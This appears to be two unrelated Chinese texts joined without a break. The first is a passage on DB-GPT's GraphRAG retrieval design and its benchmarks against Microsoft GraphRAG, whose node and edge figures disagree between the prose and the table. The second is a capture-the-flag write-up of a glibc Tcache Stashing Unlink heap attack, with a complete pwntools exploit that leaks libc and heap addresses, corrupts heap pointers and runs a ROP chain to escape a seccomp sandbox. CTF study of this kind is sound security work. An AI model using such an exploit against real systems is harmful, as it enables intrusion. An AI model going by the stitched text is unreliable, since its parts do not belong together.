为了更好地理解多跳遍历,我们举一个例子。在知识图谱中,多跳遍历这就像是:

  • 首先发现一个 AI 相关的知识点,发现它与"深度学习"有关(一跳)。
  • 顺着这条线索,又找到了"深度学习"与"神经网络"的关联(二跳)。
  • 继续探索,发现"神经网络"又与"反向传播"有密切关系(多跳)。
  • 通过这种方式,GraphRAG 不仅可以找到最直接相关的答案,还能借助多跳探索,得到一张子图,从而提供更加全面和丰富的信息。

3.3 全局检索:社区摘要检索

通过社区检测算法 Leiden,GraphRAG 能够获取与查询相关的知识社区概览,提供了更宏观的知识视角。

3.4 原文检索:文档结构检索

对于检索到的文本块,系统通过文档结构中的“包含”关系(include)“向上”回溯,直到回溯至文档节点(document)。这种溯源机制保证了知识的可追溯性,还作为原始语境,以帮助用户理解上下文信息。笔者暂且称之为“知识溯源”。

  • 以 TuGraph 查询为例,解释知识溯源的过程:

假设用户询问:"TuGraph 在金融风控方面的应用效果如何?"

第一步:定位相关文本块
系统首先找到了这个关键信息(chunk):

在金融风控方面,TuGraph已帮助金融机构提升反欺诈和反洗钱的效率,例如,某银行的反洗钱风险事件分析效率提升了790%,并在信贷平台中提高了713%的风控覆盖区分率。

第二步:向上溯源
系统通过 include 关系,逐层回溯:

1. 发现这个文本块属于"应用案例"部分。
2. “应用案例”进一步属于 TuGraph 的整体介绍文档。
3. 最终定位到完整的文档结构: 
TuGraph简介
├── 主要特性
│   ├── 高效性
│   ├── 分布式架构
│   └── 多样功能
└── 应用案例
    └── 金融风控应用  <- 当前内容位置

从“当前内容位置”到 TuGraph 简介的过程,笔者称之为“向上溯源”。

3.5 生成回答

最后 GraphRAG 将来自三个链路的检索结果整合起来,形成一个完整的知识集合:

  • 局部检索提供具体的知识点和关联关系。
  • 全局检索提供领域概览和知识聚类。
  • 原文检索提供可溯源的文档依据。

这些多维度的知识被输入到 LLM 中,模型会结合用户的查询意图,生成一个全面、准确且连贯的回答,最后返回给用户。GraphRAG 所做的一切,均是为了确保了答案的准确性,为用户提供深入的知识洞察。

4. 效果演示

4.1 可视化

目前,用户可以快速地在 DB-GPT v0.6.2 版本的前端应用中体验到该功能,并且该前端提供了清晰直观的知识图谱可视化图。生成的知识图谱由 AntV G6 引擎驱动渲染。

4.2 问答示例

用户询问的是 “TuGraph” 的基本信息。系统通过关键词提取,准确定位到了相关的知识节点。这验证了笔者前面讨论的查询理解机制的有效性。

特别值得注意的是答案底部的引用部分(蓝色引用框),这正是之前讨论的“知识溯源”机制的体现:

  • 借助文档结构的实现,GraphRAG 不仅可以回答用户问题,还可以标明信息的具体来源。
  • 通过引用原文的方式,GraphRAG 确保了信息的可信度,方便用户进一步探索。

5. 性能测试

5.1 测试结果

为了方便对比,我们选用
graphrag-test.md
测试文本,来分别测试我们版本的 GraphRAG 和微软版本的 GraphRAG 的性能。通过实测发现,我们的方案在保持相近的文档输入规模(42,631 tokens)的情况下,取得了一下成果(相比微软版本的 GraphRAG方案,9 月份版本):

  1. 总 Token 消耗是微软 GraphRAG 的 42.9%(**417,565 **vs 972,220)。
  2. 特别是,生成 Tokens 量是微软 GraphRAG 的 18.4%(
    41,797
    vs 227,230)。
  3. 构建知识图谱的时间是微软 GraphRAG 的 80.1% (
    170s
    vs 210s)。
  4. 我们支持文档结构图谱, 微软 GraphRAG 不支持。
  5. 同时,我们的图谱结构保持了相当的复杂度(734节点/1164 边 vs 779节点/967边),确保了知识表示的完整性和覆盖率大约保持同一水平。
GraphRAG (DB-GPT) GraphRAG (Microsoft)
Doc Tokens 42631 42631
Triplets Graph 734 nodes, 1064 edges 779 nodes, 967 edges
Doc Structure Graph 76 nodes, 1090 edges N/A
Prompt Tokens 375768 744990
Completion Tokens 41797 227230
Total Tokens 417565 972220
Indexing Time 170s 210s
  • 全局检索:性能有明显提升。
GraphRAG (DB-GPT) GraphRAG (Microsoft)
Time 8s 40s
Tokens 7432 63317
  • 局部搜索:性能基本相当。
GraphRAG (DB-GPT) GraphRAG (Microsoft)
Time 15s 15s
Tokens 9230 11619

5.2 结果分析

微软 GraphRAG 方案在 Map 步骤中,将社区报告分割成预定义大小的文本块。每个文本块用于生成包含点列表的中间回答,每个点都有相应的数值评分,表示该点的有用度(评分标准:有用度 0-100,LLM 作为“评委”)。然后,在 Reduce 步骤中,从中间响应中筛选出最有用的一些点,并将它们聚合起来,作为生成最终回答的上下文。为了获得 map-reduce 中每个点的“有用度”评分,需要多次调用 LLM,因此微软 GraphRAG 消耗了更多的 tokens 和时间。实际上,这种中间回答缺少了全局视野/全局信息,导致 LLM 在评估中间回答的有用度时,存在偏差。

  • 为了更好理解偏差产生的原因,以三国演义为例。用户问题: “曹操为什么会失去荆州的统治权?”
  • 社区摘要块和中间回答:
    • 片段1: "荆州原本由刘表治理。建安十三年(208年),刘表病逝,其子刘琮投降曹操。曹操派兵南下,占领荆州。"
      • 中间回答:荆州最初是通过刘琮投降而落入曹操之手。
      • LLM 评分:85(高分,因为直接回答了曹操如何获得荆州)。
    • 片段2: "周瑜和诸葛亮在赤壁之战中,以火攻大败曹操军队。曹操被迫退往北方。"
      • 中间回答:曹操在赤壁之战中战败,不得不撤离。
      • LLM 评分:70(中分,因为描述了曹操退往北方,而荆州在南方,说明曹操基本不可能获得统治权)。
    • 片段3: "刘备派关羽镇守荆州。关羽善用水军,又因当地百姓拥护,使得荆州基业稳固。"
      • 中间回答:关羽接管了荆州的防务。
      • LLM 评分:30(低分,因为看似只是一个人事安排,和曹操无关)。
  • 偏差分析:
    • LLM 对片段3的评分较低,因为单独看这段内容,似乎只是一个简单的人事调动。但实际上,关羽镇守荆州是极其关键的信息,因为:不仅展示了刘备势力的实际控制,表明了荆州易主的完整过程,还反映了民心向背的重要性。片段 3 将会被微软 GraphRAG 按照算法筛选掉。如此,偏差产生。

进一步地,当图的规模增大时,即节点数量和边数量增多,建议选择直接通过相关的社区检测(community detection)算法来计算社区的聚集程度,以此定义某些被发现的子图对于用户问题的重要程度,而并不使用有用度评分机制。笔者认为,这才是在全局索引维度下,GraphRAG 的职责之一——提供“全局信息”。在大规模图的情况下,微软 GraphRAG 的 map-reduce 方法的真实效果如何,索引性能是否依旧优秀?后续或许可以通过进行更多的实验来检验这些观点是否正确。

微软 GraphRAG 采用并行处理策略,对社区摘要块进行批量处理以生成中间答案,这种方法虽提高了处理速度,但带来了额外的 tokens 和时间开销。在生成中间态回答的同时,一定程度上引入了信息损耗和偏差:

(1)信息完整性损失:缺乏跨块信息关联。

(2)语义理解偏差:局部处理影响全局判断"。

无论如何,我们的版本考虑到了这些隐患和偏差。当然,微软 GraphRAG 在开源社区取得了巨大的成功,也是笔者学习和借鉴的对象。

总得来说,我们取得了不错的效果:在
构建同样规模的知识图谱
的情况下,我们在构建图谱这个任务上,
花费了更少的时间
(约80%),**消耗了更少的 tokens **(约40%)。同时,在回答需要全局检索的用户问题时,根据测试结果,我们版本的 GraphRAG 在时间和 tokens 的消耗上更具优势。此外,我们的 GraphRAG 得益于文档结构的支持,我们可以搜索原文,并将原文作为参考文本的一个部分返回给用户,让用户可以获得更可靠的原文信息。

前言:

在开始了解这个攻击手法的前提,需要先了解一个函数也就是
calloc函数
,众所周知,当libc版本大于等于2.27的时候会引入tcachebin,而Tcache Stashing Unlink Attack就是发生在
2.27版本以上
,那么这个和calloc有什么关系呢,周知所众,当tcahchebin里面有符合条件的空闲堆块的时候,malloc会优先去tcachebin里面拿堆块,然而calloc不是这样,它会越过tcachebin来拿取堆块,这个特殊的机制,还有接下来的一个
忽略的检查
导致Tcache Stashing Unlink Attack的发生

smallbin:

当tcachebin里面的chunk不满,而smallbin里面有两个及以上的堆块的时候,通过calloc申请chunk的时候会取smallbin里面的chunk,因为此时的tcachebin不满,那么剩下的smallbin会放入tachchebin中,而这其中只对放入tcachebin的第一个chunk做了检查,那么可以把第二个chunk的bk指针进行修改,那么到tcachebin之后最后的fake_chunk的fd既可以执行main_arena+96的位置,当然在一些情况下还可以直接进入tcachebin伪造chunk

具体的漏洞源码和解释引用一下zikh26师傅的博客
关于tcache stashing unlink attack的学习总结 | ZIKH26's Blog

if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
      //victim就是要脱链的堆块,也就是small bin里的最后一个
      //这个if在判断我们所需要的size的那条small bin链上是否存在堆块,存在的话就把victim给脱链
        {
          bck = victim->bk;
	  if (__glibc_unlikely (bck->fd != victim))//对small bin的双向链表的完整性做了检查,确保victim->bk->fd指向的还是victim
    //如果我们在这里劫持了victim的bk指针,就会导致bck的fd指向的并不是victim,从而触发异常
	    malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);//设置下一个(高地址)chunk的prev_inuse位
          bin->bk = bck;//将victim脱链
          bck->fd = bin;
          if (av != &main_arena)
	    set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
	  /* While we're here, if we see other chunks of the same size,
	     stash them in the tcache.  */
	  size_t tc_idx = csize2tidx (nb);//获取size对应的tcache索引
	  if (tcache && tc_idx < mp_.tcache_bins)//如果这个索引在tcache bin的范围里,也就是这个size属于tcache bin的范围
	    {
	      mchunkptr tc_victim;

	      /* While bin not empty and tcache not full, copy chunks over.  */
	      while (tcache->counts[tc_idx] < mp_.tcache_count//如果tcache bin没有满
		     && (tc_victim = last (bin)) != bin)//如果small bin不为空,tc_victim为small bin中的最后一个堆块
		{
		  if (tc_victim != 0)
		    {
		      bck = tc_victim->bk;//这里取tc_victim的bk指针,并没有针对bck做双向链表完整性检查,因此我们可以去攻击tc_victim的bk指针
		      set_inuse_bit_at_offset (tc_victim, nb);
		      if (av != &main_arena)
			set_non_main_arena (tc_victim);
		      bin->bk = bck;//将tc_victim从small bin中脱链
		      bck->fd = bin;//如果我们伪造bck,这里就可以将bck->fd的位置写入一个bin的地址(main_arena+96)
		      tcache_put (tc_victim, tc_idx);//将tc_victim链入tc_idx这条链
	            }
		}
	    }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

例题:

蜀道山smash

保护策略

ida逆向分析

这里是开启了沙箱,可以先看看规则

禁用了execv以及open,那么还可以使用openat来进行orw读取flag

有个堆菜单

有个选项5,是存在溢出的


但是因为这个位置一开始是0的导致读入字节为0

但是又发现add函数是使用的calloc,那么可以考虑使用Tcache Stashing Unlink Attack来将此处写入main_arena+96很大的一个地址

那么造成栈溢出,正常rop即可

free函数存在uaf漏洞,那么可以泄露libc和heap地址

这里使用的0x100的堆块,那么就要伪造堆块,修改第一个堆块的bk指针

这里伪造的堆块是紧邻着修改chunk的上一个chunk

接下来继续伪造堆块,size位和bk指针

继续使用calloc申请一个堆块,那么即可触发
Tcache Stashing Unlink Attack

那么接下来就是正常的rop即可

EXP:

from gt import *
con("amd64")

io = process("./sma")
# io = remote("gz.imxbt.cn",20818)

def add(size):
    io.sendlineafter("choice:","1")
    io.sendlineafter("size:",str(size))


def free(index):
    io.sendlineafter("choice:","2")
    io.sendlineafter("Idx:",str(index))

def edit(index,msg):
    io.sendlineafter("choice:","3")
    io.sendlineafter("Idx:",str(index))
    io.sendafter("Content:",msg)


def show(index):
    io.sendlineafter("choice:","4")
    io.sendlineafter("Idx:",str(index))


def backdoor():
    io.sendlineafter("choice:","5")


for i in range(10):
    add(0x280)

add(0x80) #10

for i in range(5):
    add(0xf0)

for i in range(7):
    free(i)

for i in range(5):
    free(11+i)

free(7)

#gdb.attach(io)
show(7)
io.recv(1)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1ecbe0
suc("libc_base",libc_base)

gdb.attach(io)
add(0x180) #11
add(0x3a0) #12
free(9)
add(0x180) #13
add(0x3a0) #14

io.recvuntil("Add Ptr: ")
heap_base = int(io.recv(10),16) -0x3260 -0x2d0 -0x230
suc("heap_base",heap_base)
fd = heap_base + 0x27f0
suc("fd",fd)
heap = heap_base+0x2b90
suc("heap",heap)
# gdb.attach(io)
edit(9,b'a'*0x180+p64(0)+p64(0x101)+p64(fd)+p64(heap_base+0x2b90))
edit(9,p64(0)+p64(0x101)+p64(0)+p64(0x00000000004040C0-0x10)+b'/flag\x00')
add(0xf0)
io.sendlineafter("choice:","5")
payload = b'b'*0x38
pop_rax = libc_base + 0x0000000000036174
pop_rdi = libc_base + 0x0000000000023b6a
pop_rsi = libc_base + 0x000000000002601f
pop_rdx_r12 = libc_base + 0x0000000000119431
syscall = libc_base + 0x00000000000630a9

flag_addr = heap+0x20

# gdb.attach(io)
payload += p64(pop_rax) + p64(257)
payload += p64(pop_rdi) + p64(0xffffff9c)   
payload += p64(pop_rsi) + p64(flag_addr)
payload += p64(pop_rdx_r12) + p64(0) + p64(0)
payload += p64(syscall)
# read
payload += p64(pop_rax) + p64(0)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(flag_addr)
payload += p64(pop_rdx_r12) + p64(0x100) + p64(0)
payload += p64(syscall)
# write
payload += p64(pop_rax) + p64(1)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(flag_addr)
payload += p64(pop_rdx_r12) + p64(0x100) + p64(0)
payload += p64(syscall)
# gdb.attach(io)

io.send(payload)
# add(0xe0)
# io.recvuntil("Add Ptr: ")
# heap_base = int(io.recv(10),16) -0x2eb0
# suc("heap_base",heap_base)

# gdb.attach(io)
io.interactive()

总结

Tcache Stashing Unlink Attack在calloc申请堆块的情况下无疑是一种不错的选择,它继承了2.29之后unsortbin attack的特性,同时在一定情况下还可以任意地址申请,是一个不错的攻击方法,因为平常遇到的有点少,但是还是得了解一下攻击方法什么的。